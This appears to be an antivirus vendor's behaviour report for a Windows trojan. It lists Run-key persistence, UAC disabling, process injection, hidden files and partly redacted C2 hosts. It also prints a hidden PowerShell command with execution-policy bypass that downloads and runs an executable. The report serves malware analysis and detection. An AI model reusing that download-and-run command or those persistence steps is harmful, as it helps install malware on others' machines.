Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'B8P1E003-R4R1-N4W7-Y4F4-B661R2Q3P8G6' = '%APPDATA%\B8P1E003-R4R1-N4W7-Y4F4-B661R2Q3P8G6\B8P1E003-R4R1-N4W7-Y4F4-B661R2Q3P8G6.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'B8P1E003-R4R1-N4W7-Y4F4-B661R2Q3P8G6' = '%APPDATA%\B8P1E003-R4R1-N4W7-Y4F4-B661R2Q3P8G6\B8P1E003-R4R1-N4W7-Y4F4-B661R2Q3P8G6....
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\run] 'B8P1E003-R4R1-N4W7-Y4F4-B661R2Q3P8G6' = '%APPDATA%\B8P1E003-R4R1-N4W7-Y4F4-B661R2Q3P8G6\B8P1E003-R4R1-N4W7-...
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Downloads and executes
- http://19#.#.140.202/conhosts.exe as %appdata%\conhosts.exe
Injects code into
the following user processes:
- conhosts.exe
Modifies file system
Creates the following files
- %TEMP%\abctfhghgdghghš.sct
- %APPDATA%\conhosts.exe
- %APPDATA%\b8p1e003-r4r1-n4w7-y4f4-b661r2q3p8g6\b8p1e003-r4r1-n4w7-y4f4-b661r2q3p8g6.exe
- %APPDATA%\b8p1e003-r4r1-n4w7-y4f4-b661r2q3p8g6\ut
- %APPDATA%\b8p1e003-r4r1-n4w7-y4f4-b661r2q3p8g6\b8p1e003-r4r1-n4w7-y4f4-b661r2q3p8g6
Sets the 'hidden' attribute to the following files
- %APPDATA%\b8p1e003-r4r1-n4w7-y4f4-b661r2q3p8g6\b8p1e003-r4r1-n4w7-y4f4-b661r2q3p8g6.exe
Network activity
Connects to
- 'sa#####e.myfirewall.org':2054
TCP
HTTP GET requests
- http://19#.#.140.202/conhosts.exe
UDP
- DNS ASK ha###bin.com
- DNS ASK sa#####e.myfirewall.org
Miscellaneous
Creates and executes the following
- '%APPDATA%\conhosts.exe'
- '%APPDATA%\conhosts.exe' %APPDATA%\conhosts.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://19#.#.140.202/conhosts.exe','%APPDATA%\conhosts.exe');Start-Process '%...' (with hidden window)
- '%WINDIR%\syswow64\timeout.exe' 4' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\timeout.exe' 4
